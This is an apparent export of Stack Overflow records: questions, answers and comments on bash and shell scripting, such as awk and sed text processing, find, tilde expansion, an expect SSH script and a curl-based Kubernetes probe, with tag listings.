type: Comment

http://stackoverflow.com/a/76928712
type: Answer
score: 0
has body: I can't reproduce. I'm using the same Ansible version. The output of my command shows the full string. # I've created a dummy mount w 91 chars: [vagrant@vm-local-1 ~]$ df -h | grep ae /dev/loop0 7.8M 14K 7.4M 1% /aeTOQ27ggCJXVwKWT5HSHJf2EIjmyiF874lqLsehFMkymqQPUuWRqumMd4uayrmAbtMTHAW3SHpwAsXnoIjJbL5GAf [vagrant@vm-local-1 ~]$ df -h | grep ae | awk '{print $6}' | wc -m 92 Then, I run the playbook and the output shows: - shell: df -h register: me - debug: msg: "{{ me.stdout }}" Output: ok: [vm-local-1] => { "msg": "Filesystem Size Used Avail Use% Mounted on\ndevtmpfs 888M 228K 888M 1% /dev\ntmpfs 907M 0 907M 0% /dev/shm\ntmpfs 907M 17M 890M 2% /run\ntmpfs 907M 0 907M 0% /sys/fs/cgroup\n/dev/mapper/rl_rocky8-root 125G 2.9G 123G 3% /\n/dev/sda1 1014M 206M 809M 21% /boot\n/dev/loop0 7.8M 14K 7.4M 1% /aeTOQ27ggCJXVwKWT5HSHJf2EIjmyiF874lqLsehFMkymqQPUuWRqumMd4uayrmAbtMTHAW3SHpwAsXnoIjJbL5GAf\ntmpfs 182M 0 182M 0% /run/user/1000" } I don't know what you're trying to achieve. What you can do is use gather_facts: true on play level, and then debug the mounts. It should display the full string of the mount. - debug: msg: "{{ ansible_facts.mounts }}"
answers question: http://stackoverflow.com/q/76854223

http://stackoverflow.com/comment/135349951
type: QuestionComment
type: Comment
has text: `grep -F -v "test.pwd=" myfile.txt`. `-F` makes it match literal characters instead of regular expression, and adding `=` prevents it from matching `test.pwd1`
comment on: http://stackoverflow.com/q/76774173
score: 0

http://stackoverflow.com/comment/135443282
type: QuestionComment
has text: If $name exists you cd into it. Then if Scores exists you cd into it but never cd back 2 directories.
comment on: http://stackoverflow.com/q/76825083
score: 0
type: Comment

gpiozero
tags question: http://stackoverflow.com/q/76765373
tag name: gpiozero
type: Tag

http://stackoverflow.com/a/76851247
answers question: http://stackoverflow.com/q/76850581
has body: I went with @user1934428 suggestion and just used grep since the yaml-structure is so simple. Here is the final script: #!/bin/bash while IFS= read -r line; do if [[ "$line" =~ ^[a-zA-Z0-9_]+: ]]; then top_node=$(echo "$line" | sed -E 's/[: ]//g') url=$(grep -A 1 "$top_node:" ./swagger-codegen.yaml | grep "url:" | sed 's/url:[ ]*//;s/^[ \t]*//') json_path="${top_node}-swagger.json" api_ts="${top_node}Api.ts" curl -k "$url" -o "$json_path" echo "✅ Downloaded swagger JSON for $top_node" npx swagger-typescript-api -p "$json_path" -n "$api_ts" echo "✅ Generated TypeScript API for $top_node" fi done < ./swagger-codegen.yaml The error causing the "curl: (3) URL using bad/illegal format or missing URL" message was due to leading spaces before the url. Just had to remove those using sed
type: Answer
score: 0

http://stackoverflow.com/comment/135497613
score: 1
has text: Read following : https://learn.microsoft.com/en-us/powershell/scripting/dev-cross-plat/vscode/using-vscode?view=powershell-7.3
comment on: http://stackoverflow.com/q/76857017
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135260672
comment on: http://stackoverflow.com/a/76721404
has text: @PaulHodges : Fixed it. Thanks a lot. I dislike inaccuracies in language.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135377962
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76790031
has text: By the way, talking about security and the example of Charles above, what would prevent somebody to launch the script with a parameter containing a semicolon and execute command following the "file" call?

http://stackoverflow.com/comment/135393117
type: Comment
type: AnswerComment
score: 0
has text: OP is not clear (he requested output `4-7 9-10 14-16 18-20 22-24 25 27-30`, where the isolated `25` is weird). First I thought my interpretation was logically, but you are right. OP can ask. His specifications are unclear. Thanks for answering both to OP and later to me.
comment on: http://stackoverflow.com/a/76791269

http://stackoverflow.com/comment/135423863
score: 0
has text: _Desired output_ : What do you mean by **output**? You don't seem to print anything.
comment on: http://stackoverflow.com/q/76813826
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135377987
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76790718
has text: @Barmar..Thanks for your reply. Can you elaborate with an example what can I add/change on the server? Maybe using find command
type: Comment

http://stackoverflow.com/comment/135507426
comment on: http://stackoverflow.com/a/76864973
has text: Yes same order as i given in the question. i could see the script working if i add comma at the end of the input file [header and all rows], it seems something related to comma. i will try to test with different input format and check. Scripts seems good, may be something related to data format.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/a/76871978
has body: Fellow devs, After a while of carefully reviewing all what you guys told me, i was able to come out with the desired result using the ideas you all gave me. Here is the new shell script with the desired implementation #!/bin/bash # Check for correct usage if [ $# -ne 1 ]; then echo "Usage: $0 <folder>" exit 1 fi # Get the path of the current directory # CURR_DIR="$(pwd)" CURR_DIR="$1" SCRIPT_NAME="$(basename "$0")" echo "$SCRIPT_NAME" # List the various file format and their extensions LIST_DOCS=("doc" "docx" "pdf" "txt") LIST_IMAGES=("jpg" "jpeg" "png" "gif") LIST_AUDIOS=("mp3" "wav" "ogg" "aac" "m4a" "mp4" "wma" "aiff" "au" "vox") LIST_VIDEOS=("mp4" "avi" "mov" "wmv" "mpeg" "mpg" "m4v" "mkv" "flv" "webm") # Check and create directories if they don't exist for dir_name in images videos documents audios others; do if [ ! -d "$CURR_DIR/$dir_name" ]; then mkdir -p "$CURR_DIR/$dir_name" fi done # Read all the files and sort them for file in "$CURR_DIR"/*; do # Check if the current file is not the script itself or a directory if [ "$file" = "$CURR_DIR/$SCRIPT_NAME" ] || [ -d "$file" ]; then continue fi # Get the file extension in lowercase ext="${file##*.}" # get lowercase so you can handle all cases well ext_lc="${ext,,}" # Move the file to the destination directory matched=false for ext_list in "${LIST_DOCS[@]}"; do if [ "$ext_lc" = "$ext_list" ]; then matched=true echo "Moving $file to documents/" mv "$file" "$CURR_DIR/documents/" break fi done if ! "$matched"; then for ext_list in "${LIST_IMAGES[@]}"; do if [ "$ext_lc" = "$ext_list" ]; then matched=true echo "Moving $file to images/" mv "$file" "$CURR_DIR/images/" break fi done fi if ! "$matched"; then for ext_list in "${LIST_AUDIOS[@]}"; do if [ "$ext_lc" = "$ext_list" ]; then matched=true echo "Moving $file to audios/" mv "$file" "$CURR_DIR/audios/" break fi done fi if ! "$matched"; then for ext_list in "${LIST_VIDEOS[@]}"; do if [ "$ext_lc" = "$ext_list" ]; then matched=true echo "Moving $file to videos/" mv "$fi…
type: Answer
answers question: http://stackoverflow.com/q/76806494
accepted answer of: http://stackoverflow.com/q/76806494
type: AcceptedAnswer
score: 0

http://stackoverflow.com/comment/135307146
has text: Yes, because in the end, *all* shell state is managed by, well, the shell. If you are writing the shell, you can do whatever you want; you just can't necessarily use separate *processes* to do it.
comment on: http://stackoverflow.com/q/76749128
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/q/76782298
has body: I am trying to execute a shell command from Deno where one of the args contains an asterisk. Example: const output = new Deno.Command("cp", { args: ["source/*", "destination"] }).outputSync() console.error(new TextDecoder().decode(output.stderr)) It yields: cp: cannot stat 'source/*': No such file or directory How can I pass an asterisk to one of the Deno.Command args?
tagged with: typescript
has title: How can I pass an asterisk to one of the Deno.Command args?
has comment: http://stackoverflow.com/comment/135364085
upvote count: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion
score: 0
type: Question
has answer: http://stackoverflow.com/a/76782609
has comment: http://stackoverflow.com/comment/135363667
tagged with: shell
downvote count: 1
accepted answer: http://stackoverflow.com/a/76782609
tagged with: deno

http://stackoverflow.com/a/76805944
answers question: http://stackoverflow.com/q/76805840
downvote count: 0
score: 1
type: Answer
has body: Depends on the format of what's been saved in the result variable. In the current code we see: $ echo $result 20000 1 Since the variable reference was not wrapped in double quotes we can't tell if sqlite3 places a space or newline between the two numbers. So, let's look at addressing both possibilities ... Variable wrapped in double quotes shows a space between numbers: $ echo "$result" 20000 1 # one idea: $ read -r timeout result < <(sqlite3 ....) $ typeset -p timeout result declare -- timeout="20000" declare -- result="1" Variable wrapped in double quotes shows a newline between numbers: $ echo "$result" 20000 1 # one idea: $ result=$(sqlite3 .... | tail -1) ^^^^^^^^^ $ typeset -p result declare -- result="1" Another option that allows OP to maintain the current code plus one new assignment: $ result=$(sqlite3 ....) $ result="${result##*[[:space:]]}" Testing: $ result="20000 1" $ result="${result##*[[:space:]]}" $ typeset -p result declare -- result="1" $ result="20000 1" $ result="${result##*[[:space:]]}" $ typeset -p result declare -- result="1"
upvote count: 1

laravel
tags question: http://stackoverflow.com/q/76722146
type: Tag
tag name: laravel
tags question: http://stackoverflow.com/q/79233564
tags question: http://stackoverflow.com/q/79435568

http://stackoverflow.com/comment/135455853
comment on: http://stackoverflow.com/q/76810973
type: QuestionComment
has text: Happy you found a solution. Consider putting all this as an answer and concluding this.
type: Comment
score: 0

slurm
type: Tag
tag name: slurm
tags question: http://stackoverflow.com/q/76772095

http://stackoverflow.com/comment/135341806
score: 1
type: Comment
type: AnswerComment
has text: because maybe you need to add a sleep in the script as the forward is only executed as long as the script runs while in the terminal it is executed until you give the next command?
comment on: http://stackoverflow.com/a/76766288

tmux
tags question: http://stackoverflow.com/q/76765144
tags question: http://stackoverflow.com/q/76785544
tag name: tmux
type: Tag
tags question: http://stackoverflow.com/q/77213132
tags question: http://stackoverflow.com/q/77492766
tags question: http://stackoverflow.com/q/78133099
tags question: http://stackoverflow.com/q/78769612
tags question: http://stackoverflow.com/q/79117718
tags question: http://stackoverflow.com/q/79479813

http://stackoverflow.com/comment/135346969
has text: I believe it was missing `$(...)` around the sed part - I edited the answer and it works now, thank you!
score: 1
comment on: http://stackoverflow.com/a/76772242
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76775362
has comment: http://stackoverflow.com/comment/135351544
downvote count: 0
type: Answer
score: 3
answers question: http://stackoverflow.com/q/76775292
has body: Find all .class (or .java) files, change slashes to dots, trim: find -name '*.class' | sed 's~/~.~g; s/.class$//; s/..//'
upvote count: 3

http://stackoverflow.com/comment/135426032
type: Comment
comment on: http://stackoverflow.com/a/76817624
type: AnswerComment
score: 0
has text: log.out contains multiple line. So grep is not displaying correct result. Policy name:Server Protection Workflow name:abc, Workflow status:succeeded, Workflow start time:08/01/23 18:30:00, Duration:0 hours 2 minutes 11 seconds Workflow name:LOG_SYB_1HOURLY_0_000_000_01_000 Policy name:Server Protection Workflow name:abc, Workflow status:succeeded, Workflow start time:08/01/23 18:30:00, Duration:0 hours 2 minutes 11 seconds Workflow name:LOG_FS_1HOURLY_0_001_000_01_000

http://stackoverflow.com/comment/135340780
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76766288
has text: but does that mean, when you check for the return value (which you could also introduce to the forward function to check its performance) is executed ?
score: 0

http://stackoverflow.com/comment/135497760
type: Comment
comment on: http://stackoverflow.com/q/76859636
has text: @gauravsharma, create [mcve]. Current posted excerpt of pipeline is not very useful: it's unclear how you are passing parameters into your script.
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135402674
has text: Sadly, my makefiles are generated and there's no point in editing them because they may be overwritten at any time.
comment on: http://stackoverflow.com/q/76805103
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/76841374
answers question: http://stackoverflow.com/q/76841295
score: 0
type: Answer
has body: want to find the common values between all three files, second, all the values which are atleast present in any two file third, the values which are unique to one file versus other two I suggest following approach: store counts of lines in 2D array where keys are line,filename consider following simple example file1.txt content is A B C file2.txt content is C B file3.txt content is C C then awk '{arr[$0][FILENAME]+=1}END{for(i in arr){print i,"is present in",length(arr[i]),"file(s)"}}' file1.txt file2.txt file3.txt gives output A is present in 1 file(s) B is present in 2 file(s) C is present in 3 file(s) Explanation: for each line increase value in array arr under key current line content ($0), name of file by 1. When all files are processing print lines and in how many files they are present. Observe that this code does not count repeated line in file3.txt as if would be 2 files. This code should work properly with more than 3 files. (tested in GNU Awk 5.1.0)

http://stackoverflow.com/comment/135483283
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76850146
has text: @user1934428 Well, the content of environment variable `CDPATH` modifies the behavior of `cd relative_path`. I guess that LjmDullaart did an `export CDPATH=/home/ljm`, so `cd ''` does indeed move him to `/home/ljm`. Setting `CDPATH` might seem useful but I wouldn't recommend to do so, because you'll have to always use `./relative_dir` when you want to go into `relative_dir`, otherwise you might end-up in `$CDPATH/relative_dir` instead.
type: QuestionComment

http://stackoverflow.com/a/76745459
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76744886
has comment: http://stackoverflow.com/comment/135300639
downvote count: 0
has comment: http://stackoverflow.com/comment/135300742
upvote count: 1
type: Answer
has body: If we remove 2>/dev/null: For the first find command we may see something like: $ find / -ipath /usr/bin -print -quit find: ‘/lost+found’: Permission denied find: ‘/root’: Permission denied /usr/bin $ echo $? 1 $ So we see that find continues running after errors, but returns a non-zero exit code at the end. So the "OR" would trigger and your echo would run. For the second case: $ {find / -ipath /usr/bin -print -quit sh: {find: not found $ echo $? 127 $ This has attempted to run a comand called literally {find, which does not exist. This also returns a non-zero result. So the "OR" would trigger and your echo would run. Note that { is only special to the shell when it appears as a separate word at the start of a command; and } is only special after ;, a newline, or in a few other situations. Consider: {true || echo ok} { false || echo ok;} { false || echo ok } { false || echo ok} (Note that the fourth of these is still waiting for a terminating }. Finally, using $( ... ) causes the shell to execute the command inside the parentheses and then carry on as if its output were part of the original commandline. Consider: $ echo hello hello $ $(printf 'ec%co h%c' h e)llo hello $ When you applied it to find, the shell attempted to use find's output as the command to run. /usr/bin is, as the error stated, a directory and not a program. It is more normal to use $(...) to produce arguments to a command rather than to generate the command itself.
accepted answer of: http://stackoverflow.com/q/76744886

http://stackoverflow.com/comment/135349856
type: Comment
comment on: http://stackoverflow.com/q/76771421
has text: Beyond that, practices become habits, and they transfer. If you're careful about following robust practices when there's no reason to think that it matters, that means you're also following those practices when it _does_ matter. Worst data loss event I've been present for happened in a situation where someone didn't bother to quote their variables because they "couldn't possibly" have unsafe values... until a buffer overflow happened in a C library used by a Python module, overwriting part of a variable used to form filenames and the thing that "couldn't" happen did.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135402503
comment on: http://stackoverflow.com/q/76805101
score: 1
type: QuestionComment
type: Comment
has text: Your csv is broken. If the field contains the separator character, the field must be quoted. See section 2.6 of [RFC 4180](https://datatracker.ietf.org/doc/html/rfc4180). (Other flavors of csv may have different quoting mechanisms, but they must have one.) You need to fix the program that generates the invalid csv.

http://stackoverflow.com/q/76850146
has comment: http://stackoverflow.com/comment/135482290
has comment: http://stackoverflow.com/comment/135480945
has comment: http://stackoverflow.com/comment/135483432
has comment: http://stackoverflow.com/comment/135483441
tagged with: shell
has comment: http://stackoverflow.com/comment/135481852
has answer: http://stackoverflow.com/a/76851363
has comment: http://stackoverflow.com/comment/135483471
has comment: http://stackoverflow.com/comment/135483283
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135482179
score: 1
upvote count: 1
answer count: 1
favorite count: 0
tagged with: command-line
has comment: http://stackoverflow.com/comment/135482995
has title: cd "$dir_name" && rm *, why wouyld rm * execute if the dir_name is empty?
tagged with: linux
downvote count: 0
tagged with: bash
type: Question
has body: I'm working through the Linux command line book and came across this section. It's talking about the command: cd "$dir_name" && rm * And then says the following about it: This is better but still leaves open the possibility that the variable, dir_name, is unset or empty, which would result in the files in the user’s home directory being deleted. How is that possible? If dir_name is empty then the statement should evaluate to a non-zero value i.e false and then the second command rm shouldn't be executed so why does it execute?
has comment: http://stackoverflow.com/comment/135483355

http://stackoverflow.com/comment/135361952
score: 0
type: QuestionComment
has text: Alternatively, look into [`ripgrep`](https://github.com/BurntSushi/ripgrep/blob/master/GUIDE.md), [the silver searcher](https://github.com/ggreer/the_silver_searcher) or similar tools.
comment on: http://stackoverflow.com/q/76781400
type: Comment

http://stackoverflow.com/comment/135412060
type: Comment
score: 0
has text: BTW, you find [here](https://datatracker.ietf.org/doc/html/rfc4180) the definition of a CSV file. The multiline fields are covered in chapter 2, point 6. There is also an example similar to your case.
comment on: http://stackoverflow.com/q/76810435
type: QuestionComment

http://stackoverflow.com/q/76795584
tagged with: shell
has title: How can I get my script to recognize a file path?
duplicate of: http://stackoverflow.com/q/3963716
has answer: http://stackoverflow.com/a/76795650
score: 0
type: Question
type: UnansweredQuestion
tagged with: bash
answer count: 1
tagged with: if-statement
has body: So, I am making what I thought was a simple script to move multiple files to a new location. I wanted is to ask where the files were going. So I type in something like ~/i/want/to/go/here after the prompt. and the script can't seem to see it as valid, even if I do a direct copy and past from my command line. I have tried quotations around $location, double quotations, a space after the prompt, checking my file path multiple times, directly copy pasting my path. when it says it's checking the path, it states it perfectly, and yet it cant seem to verify that it exists. I=INCAR K=KPOINTS o=openmpiscript P=POSCAR s=submit.vasp echo "we are going to move INCAR,KPOINTS,openmpiscript,POSCAR, and submit.vasp to a desired location" echo "Just tell me where to put them and I will automatically move all those files on your behalf." read -p "location please:" location echo "ok we can check and see whether or not $location is a real place" if -d $location ; then echo "yup, $location is there" else echo "hmmm, this might not be a working directory path" exit 1 fi Oh, I listed what I tried above, but essentially I tried quotes, no quotes, adjusting my path, verifying my path by using cd to literally go there then copy paste. the results are that it exits out because it doesn't see the path as valid, and it cant see that directory, even though it is there.
tagged with: tilde-expansion

http://stackoverflow.com/comment/135356366
has text: You say the error message doesn't provide much information, but "no space left on device" seems like a pretty clear error message to me. Have you checked how much disk space is available?
score: 0
comment on: http://stackoverflow.com/q/76778171
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135363901
has text: Please take a look at [How to create a Minimal, Complete, and Verifiable example](http://stackoverflow.com/help/mcve).
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76781400
type: Comment

http://stackoverflow.com/a/76831362
accepted answer of: http://stackoverflow.com/q/76830614
type: Answer
answers question: http://stackoverflow.com/q/76830614
has comment: http://stackoverflow.com/comment/135454952
score: 3
type: AcceptedAnswer
upvote count: 3
has body: I assume after you enter 8 to get a shell, this is where you want to run some more commands. I'd start with spawn ssh -p $ssh_port -o StrictHostKeyChecking=no $username@$pfsense_router expect { -re "assword.*:" { send "$password\r" exp_continue } "Permission denied" { send_user "Authentication failed. Please check your credentials.\n" exit 1 } timeout { send_user "Timeout while trying to connect to the router.\n" exit 1 } -re {Enter an option:\s*$} { send "8\r" } } expect -re $prompt # now start sending commands and expecting the prompt.
downvote count: 0

http://stackoverflow.com/a/76841320
answers question: http://stackoverflow.com/q/76840695
has body: Using any awk: $ cat tst.awk BEGIN { FS=OFS="," } { key = $1 FS $2 val = $3 } key != prev { if ( NR > 1 ) { print prev, "\"" vals "\"" } vals = sep = "" prev = key delete seen } !seen[val]++ { vals = vals sep val sep = OFS } END { print prev, "\"" vals "\"" } $ awk -f tst.awk file City,Sunset,"Anna,Ben" That will work if you have multiple different values in the first 2 input fields, and regardless of the order of the 3rd field values. It will output values in the order they appear in the input and only stores the values for one key pair at a time rather than storing the whole file. For example, given this input: $ cat file City,Sunset,Anna City,Sunset,Ben City,Sunset,Sue City,Sunset,Ben Town,Sunrise,Ben Town,Sunrise,Phil it will produce what I assume is the expected output: $ awk -f tst.awk file City,Sunset,"Anna,Ben,Sue" Town,Sunrise,"Ben,Phil" The above script assumes your input is grouped by the values of the first 2 fields, if it isn't then run sort -t, -k1,2 on it first.
type: AcceptedAnswer
downvote count: 0
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/76840695
type: Answer

http://stackoverflow.com/comment/135492304
has text: Ah got it. yea that worked: # sh -c "export reply=$(curl -s -o /dev/null -w %{http_code} http://127.0.0.1:8080/ipp-blossom-dev-test-startup-probe/login); echo \$reply; if [ \"\$reply\" -lt 200 -o \"\$reply\" -ge 400 ]; then exit 1; fi;" 200 will have to play around with this command in the kubernetes deployment spec, right now the startup probe that's executing this command is still failing but maybe I made a typo - will check tomorrow. thank you for your help so far!
score: 0
comment on: http://stackoverflow.com/a/76856201
type: Comment
type: AnswerComment

conda
tags question: http://stackoverflow.com/q/76752760
type: Tag
tag name: conda
tags question: http://stackoverflow.com/q/77069279
tags question: http://stackoverflow.com/q/77869546

http://stackoverflow.com/comment/135458512
type: Comment
type: AnswerComment
has text: Agreed. In the heredoc use `jq --argjson data '$extracted_content'` with single quotes
comment on: http://stackoverflow.com/a/76835197
score: 0

http://stackoverflow.com/comment/135352447
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76753712
has text: Thank you for contributing to the Stack Overflow community. This may be a correct answer, but it’d be really useful to provide additional explanation of your code so developers can understand your reasoning. This is especially useful for new developers who aren’t as familiar with the syntax or struggling to understand the concepts. **Would you kindly [edit] your answer to include additional details for the benefit of the community?**

http://stackoverflow.com/a/76817300
type: AcceptedAnswer
score: 0
answers question: http://stackoverflow.com/q/76817193
type: Answer
has body: If you don't mind reading the file multiple times (and your output not being valid JSON): Grep and read all connection name lines Print the lines containing the connection name grep '^connection_name_' abc.env | while read IFS== read -r connection value; do echo "$connection will have-" grep '^schema_' abc.env | grep "_$connection=" | cut -d= -f1 done > output.json # not valid JSON! jq (https://jqlang.github.io/jq/) is a really useful tool to construct JSON documents. The overall logic of the loop does not change too much. grep '^connection_name_' abc.env | while read IFS== read -r connection value; do grep '^schema_' abc.env \ | grep "_$connection=" \ | cut -d= -f2- \ | jq -nR --arg connection_name "$value" '{ $connection_name, schemas: [{dbUser:inputs}] }' done | jq -s '{connection_specific_details: .}' > output.json
accepted answer of: http://stackoverflow.com/q/76817193

http://stackoverflow.com/comment/135506331
has text: Please provide your **real** input and expected outputs. Those who want to help you need an easy way to copy-paste to do their own tests.
score: 2
type: Comment
comment on: http://stackoverflow.com/q/76864396
type: QuestionComment

http://stackoverflow.com/comment/135413279
comment on: http://stackoverflow.com/q/76810973
type: QuestionComment
has text: I thought about this. Indeed I am using WinSCP to edit the file which is located on the unix side. I have changed the line endings to Unix, but the problem persists (see update to the question).
type: Comment
score: 0

http://stackoverflow.com/comment/135366810
comment on: http://stackoverflow.com/a/76783355
type: Comment
type: AnswerComment
score: 0
has text: Ah, so. Wonder how I missed this feature. It works in Zsh and Ksh, too, FWIW.

http://stackoverflow.com/comment/135304103
score: 1
comment on: http://stackoverflow.com/q/76747469
type: QuestionComment
has text: `sed 's/Mr [^ ]+/Mr Smith/g' file`?
type: Comment

http://stackoverflow.com/a/76785269
score: 0
has body: Thank you for the help! In the end, we use adb shell "(echo test1; echo test2) | /usr/bin/path_to_bin". This is similar to @Diego Torres Milano suggestion of piping the input
type: Answer
answers question: http://stackoverflow.com/q/76768345

http://stackoverflow.com/comment/135493474
has text: Why not `-name 'ABCADD*$two_days_ago'`? Why a loop with a nested find? (the loop will break with blanks or newlines in your file names). Can you check the modification time of the files (`-ctime`)?
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76857263
type: Comment

http://stackoverflow.com/comment/135306871
comment on: http://stackoverflow.com/q/76749128
type: QuestionComment
has text: `cd path &` doesn't make any sense. I would expect that command to either spawn a new shell that executes the change of directory and exits (having no impact on the shell from which the command was executed), be a no-op as the shell notices that it is pointless and just does nothing, or maybe the shell would emit a warning and say "that command is pointless". If executing such a command in the background modified the current shell, I would be very surprised and consider it a bug. IOW, don't do anything.
score: 2
type: Comment

http://stackoverflow.com/a/76743163
answers question: http://stackoverflow.com/q/76743009
type: Answer
score: 2
upvote count: 2
downvote count: 0
has body: Firstly, you check for "$1.sha256" but then try to create ".$1.sha256". Secondly and more importantly, when a command is invoked from execdir, its argument will always start with ./. Prepending a dot to it won't do you much good. You can use basename to get rid of the ./.

http://stackoverflow.com/comment/135465711
type: Comment
type: AnswerComment
has text: The situation I encountered is fully explained by what you write above. You are so kind to list the url link on the subject and I have learnt a lot from the url link. Thank you and have a nice day.
comment on: http://stackoverflow.com/a/76840641
score: 1

http://stackoverflow.com/comment/135262902
score: 1
comment on: http://stackoverflow.com/q/76722912
type: QuestionComment
has text: You could do the `$PATH` search yourself. But it's easier just to do the `fork()`. Why do you wish to avoid forking?
type: Comment

http://stackoverflow.com/comment/135495040
type: QuestionComment
type: Comment
has text: Thanks. I tried /filename.sh and It works. But my main concern is running commands from the Ubuntu terminal to the VS Code terminal.
comment on: http://stackoverflow.com/q/76857017
score: 0

http://stackoverflow.com/comment/135362534
has text: On the first part, it would be inappropriate for me to add _any_ answer because the question is a duplicate and already has canonical answers on the prior instances. See the _Answer Well-Asked Questions_ section of [How to Answer](https://stackoverflow.com/help/how-to-answer), and the 3rd bullet point therein, setting down the rule that duplicative questions should not be answered.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76771421
type: QuestionComment

http://stackoverflow.com/comment/135342388
has text: `bash` only supports integer math. And `3.28.0` is going to give issues with tools that do have floating point numbers.
score: 0
comment on: http://stackoverflow.com/q/76770023
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135507914
type: Comment
has text: This should be quite easy to debug, simply add some `print` statements.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76864973

http://stackoverflow.com/comment/135318262
has text: @Xavjer This question isn't about deleting lines so I'm going to guess that no it's not a good choice of a dupe
score: 0
comment on: http://stackoverflow.com/q/76751837
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76889089
has body: The Confluence and embedded Tomcat use environment variables you have in the current session. You can set data in {CONFLUENCE_HOME}/bin/setenv.sh - this script can be used to set variables you need for runtime, but it should be done with caution. When using maven plugin atlas-xxx command, you can also set arguments in the plugin config.
type: Answer
answers question: http://stackoverflow.com/q/76878347
score: 0

http://stackoverflow.com/comment/135434156
comment on: http://stackoverflow.com/a/76823094
type: Comment
score: 0
type: AnswerComment
has text: (`echo $1` also has its own additional bugs; see [I just assigned a variable, but `echo $variable` shows something else!](https://stackoverflow.com/questions/29378566/i-just-assigned-a-variable-but-echo-variable-shows-something-else))

http://stackoverflow.com/comment/135467168
has text: Thank you so much for your suggestions. I have modified my question.
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/76841295

http://stackoverflow.com/comment/135467528
comment on: http://stackoverflow.com/q/76841295
score: 0
type: QuestionComment
type: Comment
has text: is the ordering of the output rows important?

http://stackoverflow.com/comment/135374822
has text: I'm not saying that: only you can answer the question of whether or not it is necessary. In general you don't need to source dotfiles in order to execute commands as a user, but if your dotfiles are setting up a custom environment, maybe you do! In which case, use a `shell` task and source them explicitly.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76788743
score: 0

http://stackoverflow.com/comment/135382669
comment on: http://stackoverflow.com/q/76792437
score: 0
has text: @jdweng no, not this is port numbet these are ip's like 10.6.0.0/24, after forward slash 24 is the subnet mask.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135322506
has text: Please add your solution as an answer and then later accept it. this is important so that the question is marked as answered (and it is totally valid that you answer your own questions)
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76721494

http://stackoverflow.com/comment/135445308
type: QuestionComment
has text: @AlbertoLerdo, as for piping to `while read` causing output to be delayed, the problem there is that when stdout isn't going to a TTY, it's fully-buffered by default. You can use `stdbuf -o0` or `stdbuf -oL` to work around that. Also note that it's very common for programs to change how much verbose output they write based on the current value of `isatty(1)` or `isatty(2)`, removing things like progress bars when output is going to a file or pipeline instead of direct to a terminal. If _that's_ the case you can work around it with `unbuffer`.
comment on: http://stackoverflow.com/q/76815964
type: Comment
score: 0

google-cloud-platform
tags question: http://stackoverflow.com/q/76712749
type: Tag
tag name: google-cloud-platform
tags question: http://stackoverflow.com/q/77461838
tags question: http://stackoverflow.com/q/77649323
tags question: http://stackoverflow.com/q/77625244
tags question: http://stackoverflow.com/q/78023179
tags question: http://stackoverflow.com/q/77993209
tags question: http://stackoverflow.com/q/78052297
tags question: http://stackoverflow.com/q/78171409
tags question: http://stackoverflow.com/q/78359185
tags question: http://stackoverflow.com/q/78699454
tags question: http://stackoverflow.com/q/79183617

http://stackoverflow.com/comment/135425271
comment on: http://stackoverflow.com/a/76818148
has text: Please share the command. will try
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135467296
has text: the problem with the command is it is only comaring 2 files.. and not the third file. Dont know how to do that
comment on: http://stackoverflow.com/q/76841295
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135427795
score: 1
type: Comment
comment on: http://stackoverflow.com/a/76819820
type: AnswerComment
has text: Why not awk only?

http://stackoverflow.com/comment/135497976
type: QuestionComment
type: Comment
score: 0
has text: @user1934428 - I have updated the question for better understanding now
comment on: http://stackoverflow.com/q/76859636

http://stackoverflow.com/comment/135334438
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76765373
has text: You changed the code in the question and removed the `while True:` loop. Why?

http://stackoverflow.com/q/76747469
has comment: http://stackoverflow.com/comment/135306419
has comment: http://stackoverflow.com/comment/135304708
has body: I have a csv file where each line contains a person's name like this. | 11th October | 06 6606 1161 | Mr Bean is 43 years old. Mr Bean likes apples. | My goal is to write a bash script to replace the surnames in the file with a new surname. So for example with a script replace_surname.sh - #!/bin/sh if [ ! -z $1 ] then #replace surname following 'Mr' with $1 fi I'd expect, given the above csv and the command replace_surname.sh Smith | 11th October | 06 6606 1161 | Mr Smith is 43 years old. Mr Smith likes apples. | What I've tried - sed -i 's/^Mr .*$/Mr PacMan/' test.csv And a few other from here Which doesn't affect the file at all. I'm a bit stuck and my csv file has hundreds of records so I wouldn't like to do it all by hand! Any help is very much appreciated :)
tagged with: bash
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76747486
has comment: http://stackoverflow.com/comment/135304109
has title: Replace all surnames following 'Mr' prefix using bash script
tagged with: string
has comment: http://stackoverflow.com/comment/135304103
score: 0
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76747486
tagged with: replace
answer count: 1

fish
type: Tag
